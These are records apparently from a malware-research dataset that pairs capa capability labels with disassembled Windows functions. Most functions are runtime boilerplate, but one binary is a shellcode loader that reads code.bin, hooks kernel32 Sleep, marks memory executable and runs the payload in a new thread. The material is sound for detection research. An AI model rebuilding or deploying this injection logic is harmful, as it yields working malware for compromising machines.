joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48f6f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [rsp + 0x60]
mov rbx, r8
mov r8, qword [r9 + 8]
mov r11, rcx
mov ecx, dword [r9 + 0x40]
mov r10, rdx
mov rax, qword [r8 + 8]
shr rax, cl
test eax, eax
je 0x48f7e0
mov eax, eax
cmp rax, qword [r9 + 0x28]
jb 0x48f7a0
sub rax, qword [r9 + 0x30]
mov rdx, qword [r9 + 0x38]
mov r9, qword [rdx + rax*8]
test r9, r9
jne 0x48f744
jmp 0x48f7e9
mov r9, qword [r9 + 0x28]
movzx eax, byte [r9 + 0x18]
sub eax, 6
cmp al, 1
jbe 0x48f740
movzx edx, byte [r9 + 0x65]
or byte [r9 + 0x64], 0x20
mov rax, r9
test dl, 0x20
je 0x48f770
mov rax, qword [rax + 0x70]
or byte [rax + 0x64], 0x20
test byte [rax + 0x65], 0x20
jne 0x48f762
test rsi, rsi
je 0x48f7c4
and edx, 0x10
je 0x48f7c4
mov rax, qword [r9 + 0x80]
movzx edx, byte [rax + 0x2c]
shr dl, 3
xor edx, 1
and edx, 1
mov dword [rsi], edx
add rsp, 0x28
pop rbx
pop rsi
ret
mov rdx, rax
shl rdx, 5
add rdx, qword [r9 + 0x18]
movzx ecx, byte [rdx + 0x14]
shr cl, 4
test cl, cl
jne 0x48f723
mov qword [rsp + 0x60], rdx
xor r9d, r9d
jmp 0x48f7cd
mov qword [rsp + 0x60], 0
mov rdx, r11
mov rcx, r10
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
jmp rax
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rax, qword [r11 + 0x20]
mov rdx, qword [r10 + 0xf8]
lea rcx, str._F_P:_corrupt_input:__pB_n
call qword [rax + 0x58]
xor eax, eax
jmp 0x48f790
Function at 0x4a6fe0
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r8d, 1
mov rdx, rcx
lea rcx, [0x0054e640]
jmp fcn.00443740

Function at 0x4a7b60
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov eax, dword [rcx + 0x44]
mov rdi, rcx
mov rbp, rdx
mov esi, r8d
mov ebx, r9d
test eax, eax
jne 0x4a7c70
mov r14d, dword [rcx + 0x40]
xor r13d, r13d
test r14d, r14d
je 0x4a7bc0
lea eax, [r14 - 1]
xor r13d, r13d
lea r8, [rdx + rax + 1]
nop
add rdx, 1
movzx ecx, byte [rdx - 1]
mov eax, ecx
shl eax, 0x11
add eax, ecx
add r13d, eax
mov eax, r13d
shr eax, 2
xor r13d, eax
cmp rdx, r8
jne 0x4a7ba0
xor edx, edx
mov eax, r13d
div dword [rdi + 0x18]
mov rax, qword [rdi]
mov edx, edx
mov r12, qword [rax + rdx*8]
test r12, r12
je 0x4a7c30
mov r15d, r14d
jmp 0x4a7be9
mov r12, qword [r12]
test r12, r12
je 0x4a7c30
cmp r13d, dword [r12 + 0x10]
jne 0x4a7be0
cmp r14d, dword [r12 + 0x18]
jne 0x4a7be0
mov rcx, qword [r12 + 8]
mov r8, r15
mov rdx, rbp
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x4a7be0
cmp dword [r12 + 0x1c], esi
jae 0x4a7c55
test ebx, ebx
je 0x4a7d35
mov dword [r12 + 0x18], 0
mov dword [r12 + 0x1c], 0
jmp 0x4a7c38
test ebx, ebx
je 0x4a7d35
mov r8d, r13d
mov rdx, rbp
mov rcx, rdi
call fcn.00443550
test rax, rax
mov r12, rax
je 0x4a7c55
mov dword [rax + 0x18], r14d
mov dword [rax + 0x1c], esi
mov rax, r12
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov r9d, dword [rcx + 0x40]
cmp r9d, 1
je 0x4a7d3d
lea r13d, [r9 - 1]
xor r12d, r12d
xor eax, eax
mov r10, rdx
add r13, 1
test r9d, r9d
je 0x4a7d30
nop word [rax + rax]
movzx edx, byte [r10]
lea r8, [r10 + 1]
xor ecx, ecx
mov r11, r8
test dl, dl
je 0x4a7cbe
jmp 0x4a7cf0
add r11, 1
cmp byte [r11 - 1], 0
jne 0x4a7cf0
add ecx, 1
cmp r9d, ecx
jne 0x4a7cb3
mov r14d, r12d
imul r14d, r9d
add eax, r12d
shl r12d, 0x11
add eax, r12d
mov r13d, eax
shr r13d, 2
xor r13d, eax
add r14d, r9d
jmp 0x4a7bc0
lea r11, [r10 + r13]
jmp 0x4a7d08
movzx edx, byte [r8]
add r8, 1
movzx ecx, dl
mov r10, r8
mov edx, ecx
shl edx, 0x11
add edx, ecx
add eax, edx
mov edx, eax
shr edx, 2
xor eax, edx
cmp r8, r11
jne 0x4a7d00
add r12d, 1
test r9d, r9d
jne 0x4a7ca0
xor r14d, r14d
jmp 0x4a7ccd
xor r12d, r12d
jmp 0x4a7c55
lea r8, [rdx + 1]
movzx edx, byte [rdx]
test edx, edx
je 0x4a7d8d
xor r14d, r14d
xor eax, eax
nop dword [rax]
mov ecx, edx
add r14d, 1
add r8, 1
shl ecx, 0x11
add edx, ecx
add eax, edx
mov edx, eax
shr edx, 2
xor eax, edx
movzx edx, byte [r8 - 1]
test edx, edx
jne 0x4a7d50
mov r13d, r14d
add eax, r14d
shl r13d, 0x11
add eax, r13d
mov r13d, eax
shr r13d, 2
xor r13d, eax
jmp 0x4a7ce1
xor r13d, r13d
xor r14d, r14d
jmp 0x4a7ce1
Function at 0x4c18b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0x18]
mov esi, edx
mov rbx, rcx
movzx edx, byte [rax]
cmp dl, 0x5f
je 0x4c18f7
test esi, esi
jne 0x4c18d1
cmp dl, 0x5a
je 0x4c18de
xor edi, edi
mov rax, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
add rax, 1
xor edx, edx
mov rcx, rbx
mov qword [rbx + 0x18], rax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp fcn.004c1180
lea rdx, [rax + 1]
mov qword [rcx + 0x18], rdx
cmp byte [rax + 1], 0x5a
jne 0x4c18d1
add rax, 2
mov edx, esi
mov qword [rcx + 0x18], rax
call fcn.004c1180
test esi, esi
mov rdi, rax
je 0x4c18d3
test byte [rbx + 0x10], 1
je 0x4c18d3
mov rdx, qword [rbx + 0x18]
cmp byte [rdx], 0x2e
jne 0x4c18d3
movzx eax, byte [rdx + 1]
lea ecx, [rax - 0x61]
cmp cl, 0x19
jbe 0x4c19ae
cmp al, 0x5f
je 0x4c19ae
sub eax, 0x30
cmp al, 9
ja 0x4c18d3
movzx eax, byte [rdx]
mov r8, rdx
cmp al, 0x2e
jne 0x4c1984
nop dword [rax + rax]
movzx eax, byte [r8 + 1]
sub eax, 0x30
cmp al, 9
ja 0x4c1984
movzx eax, byte [r8 + 2]
lea r9, [r8 + 2]
mov r8, r9
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x4c1947
add r8, 1
movzx eax, byte [r8]
lea ecx, [rax - 0x30]
cmp cl, 9
jbe 0x4c1970
cmp al, 0x2e
je 0x4c1950
mov qword [rbx + 0x18], r8
mov rcx, rbx
sub r8d, edx
call fcn.004b9590
mov r8, rdi
mov r9, rax
mov edx, 0x4e
mov rcx, rbx
call fcn.004b8f40
mov rdi, rax
jmp 0x4c1921
movzx eax, byte [rdx + 2]
lea r8, [rdx + 2]
lea ecx, [rax - 0x61]
cmp cl, 0x19
ja 0x4c19d0
nop
add r8, 1
movzx eax, byte [r8]
lea ecx, [rax - 0x61]
cmp cl, 0x19
jbe 0x4c19c0
cmp al, 0x5f
je 0x4c19c0
jmp 0x4c1947
Function at 0x4c9d90
Capabilities:
Query environment variable

Disassembly:
mov r9d, 1
jmp fcn.004c98a0

Function at 0x4cc140
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x0054ee84]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x4cc258
mov rax, qword [0x0054ee88]
xor ebx, ebx
add rax, 8
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x4cc18c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x4cc23e
add ebx, 1
add rax, 0x18
cmp ebx, ecx
jne 0x4cc170
mov rcx, rsi
call fcn.004ccda0
test rax, rax
mov r12, rax
je 0x4cc290
movsxd rbx, ebx
lea rbx, [rbx + rbx*2]
shl rbx, 3
mov r13, rbx
add r13, qword [0x0054ee88]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.004ccef0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x0054ee88]
mov rcx, qword [rax + rbx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4cc273
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x4cc237
sub eax, 4
and eax, 0xfffffffb
je 0x4cc237
add rbx, qword [0x0054ee88]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4cc25f
add dword [0x0054ee84], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebx, ebx
jmp 0x4cc197
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.004cc0d0
mov rax, qword [0x0054ee88]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 8]
call fcn.004cc0d0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.004cc0d0
nop

Function at 0x4cca10
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0054f160]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0054f140]
test rbx, rbx
je 0x4cca64
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4cca5b
test rsi, rsi
je 0x4cca5b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4cca40
lea rcx, [0x0054f160]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4ccda0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x0051ec40]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x4ccdc0
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.004ccc80
test eax, eax
je 0x4ccdb8
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x4cce1d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x4cce14
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x4ccdb8
add rdx, 0x28
cmp rdx, r9
jne 0x4cce00
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x4cd1c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x138
mov rbx, rcx
call sub.msvcrt.dll__errno
test rbx, rbx
mov dword [rax], 0
je 0x4cd34c
cmp byte [rbx], 0
je 0x4cd314
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4cd330
test al, 0x10
je 0x4cd314
lea rdi, [rsp + 0x20]
mov r8d, 0x104
mov rdx, rbx
mov rcx, rdi
mov rsi, rdi
call sub.msvcrt.dll__fullpath
mov edx, dword [rsi]
add rsi, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4cd21e
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [rsi + 2]
mov ecx, eax
cmove rsi, rdx
add cl, al
sbb rsi, 3
sub rsi, rdi
lea rcx, [rsi + 0x24b]
call sub.msvcrt.dll_malloc
test rax, rax
mov rbx, rax
je 0x4cd33f
lea r9, [rax + 0x244]
lea rbp, [rsi + 1]
mov rdx, rdi
mov rcx, r9
mov r8, rbp
call sub.msvcrt.dll_memcpy
cmp byte [rbx + 0x244], 0
mov r9, rax
je 0x4cd2b0
movzx eax, byte [rbx + rsi + 0x243]
cmp al, 0x2f
je 0x4cd2b0
cmp al, 0x5c
je 0x4cd2b0
mov r8d, 0x5c
mov word [r9 + rsi], r8w
mov rsi, rbp
mov eax, 0x2a
xor edx, edx
xor ecx, ecx
mov word [r9 + rsi], ax
mov word [rbx + 0x12c], dx
lea rdx, [rbx + 0x130]
mov word [rbx + 0x12e], cx
xor eax, eax
mov ecx, 0x20
mov rdi, rdx
mov qword [rbx + 0x238], 0xffffffffffffffff
mov dword [rbx + 0x240], 0
mov dword [rbx + 0x128], 0
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
call sub.msvcrt.dll__errno
mov dword [rax], 0x14
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sub.msvcrt.dll__errno
xor ebx, ebx
mov dword [rax], 2
jmp 0x4cd305
call sub.msvcrt.dll__errno
mov dword [rax], 0xc
jmp 0x4cd305
call sub.msvcrt.dll__errno
mov dword [rax], 0xe
jmp 0x4cd305
Function at 0x2fc52e3c0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc52f4a0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc52edc2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc551108]
test eax, eax
je 0x2fc52ee5a
lea rax, [0x2fc5510e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc551110]
mov qword [rbp - 8], rax
jmp 0x2fc52ee3e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc52ee32
cmp qword [rbp - 0x10], 0
je 0x2fc52ee32
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc52edf8
lea rax, [0x2fc5510e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc52ee5b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc52ef60
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc52ef88
mov eax, 0
jmp 0x2fc52efd6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc52efb1
mov eax, 0
jmp 0x2fc52efd6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc52efd1
mov eax, 0
jmp 0x2fc52efd6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc52efdc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc52f05a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc52f051
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc52f051
mov rax, qword [rbp - 8]
jmp 0x2fc52f06f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc52f024
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140002110
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14003f080]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x30]
and dword [rsp + 0x30], 0
mov edx, 0xd
mov qword [0x140041bc0], rax
xor dil, dil
lea rax, [0x140001e70]
mov word [rsp + 0x20], 0xba49
mov qword [rsp + 0x22], rax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
lea r8d, [rdx + 0x33]
mov rcx, rax
mov word [rsp + 0x2a], 0xff41
movups xmm0, xmmword [rax]
movups xmmword [0x140041bc8], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400021a4
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dil, 1
movsd xmm0, qword [rsp + 0x20]
mov eax, dword [rsp + 0x28]
movsd qword [rcx], xmm0
mov dword [rcx + 8], eax
mov byte [rcx + 0xc], 0xe2
mov rbx, qword [0x140041bd8]
test rbx, rbx
jne 0x1400021dc
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140041bd8], rax
mov rbx, rax
test rax, rax
je 0x1400021f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0xd
mov rcx, rax
call rbx
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xd
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test dil, dil
setne al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140009430
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140002234
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rsi
mov rax, qword [0x14003f080]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rdx
mov rdi, rcx
mov rdx, qword [rcx + 8]
sub rdx, qword [rcx]
inc rdx
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x14000228a
xor al, al
jmp 0x140002301
mov r8, qword [rdi + 8]
sub r8, qword [rdi]
mov rdx, qword [rdi]
mov rcx, rsi
call fcn.14000ac80
mov rdx, qword [rdi + 8]
sub rdx, qword [rdi]
inc rdx
lea r9, [rsp + 0x38]
mov r8d, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002286
mov rax, qword [rdi]
mov qword [rdi + 8], rax
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9, rsi
lea r8, [0x140002230]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov rcx, qword [rbx + 8]
mov qword [rbx + 8], rax
test rcx, rcx
je 0x1400022fb
mov rax, qword [rbx]
call rax
mov rax, qword [rbx + 8]
test rax, rax
setne al
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140009430
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x140002320
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov qword [rbp + 7], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14003f080]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor eax, eax
mov qword [rbp + 0x37], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x27], xmm0
and qword [rbp + 0x37], rax
lea rcx, str._.__Reading_shellcode_bytes...
call fcn.1400036d0
xor eax, eax
and qword [rsp + 0x30], rax
and dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
lea edi, [rax + 1]
mov r8d, edi
mov edx, 0x80000000
lea rcx, str.._code.bin
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0xf], rcx
mov qword [rbp + 0x17], rax
or rcx, 0xffffffffffffffff
cmp rax, rcx
jne 0x1400023c1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140002432
and dword [rbp + 0x1f], 0
lea rdx, [rbp + 0x3f]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov byte [rbp - 0x19], 0
lea rax, [rbp + 0x27]
mov qword [rbp - 9], rax
lea rax, [rbp - 0x19]
mov qword [rbp - 1], rax
movaps xmm0, xmmword [rbp - 9]
movdqa xmmword [rbp - 9], xmm0
mov edx, ebx
lea r8, [rbp - 9]
lea rcx, [rbp + 0x27]
call fcn.1400038f4
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x1f]
mov r8d, ebx
mov rdx, qword [rbp + 0x27]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne bl
test rsi, rsi
je 0x14000242e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test bl, bl
jne 0x14000244b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_open_shellcode_file__Error:
call fcn.1400037d4
jmp 0x1400024e1
lea rcx, str._.__Hooking_kernel32_Sleep...
call fcn.1400036d0
call fcn.140002110
test al, al
jne 0x14000246e
lea rcx, str.____Could_not_hook_kernel32_Sleep_
call fcn.1400036d0
jmp 0x1400024e1
lea rcx, str._.__Injecting_shellcode...
call fcn.1400036d0
xor eax, eax
mov qword [rbp + 0x17], rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0xf], rax
and qword [rbp + 0x17], 0
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x27]
call fcn.140002234
mov rbx, qword [rbp + 0x17]
test al, al
jne 0x1400024bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_inject_shellcode__Error:
call fcn.1400037d4
jmp 0x1400024d5
lea rcx, str.___Shellcode_is_now_running.
call fcn.1400036d0
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edi, edi
test rbx, rbx
je 0x1400024e1
mov rcx, rbx
call qword [rbp + 0xf]
nop
mov rcx, qword [rbp + 0x27]
test rcx, rcx
je 0x140002517
mov rdx, qword [rbp + 0x37]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002512
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000253e
call fcn.140009454
mov eax, edi
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140009430
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.14000f0f0
int3
Function at 0x1400151e8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140015014
Function at 0x2fc52ead0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc52fbb0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc52f4d2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc552108]
test eax, eax
je 0x2fc52f56a
lea rax, [0x2fc5520e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc552110]
mov qword [rbp - 8], rax
jmp 0x2fc52f54e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc52f542
cmp qword [rbp - 0x10], 0
je 0x2fc52f542
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc52f508
lea rax, [0x2fc5520e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc52f56b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc52f670
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc52f698
mov eax, 0
jmp 0x2fc52f6e6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc52f6c1
mov eax, 0
jmp 0x2fc52f6e6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
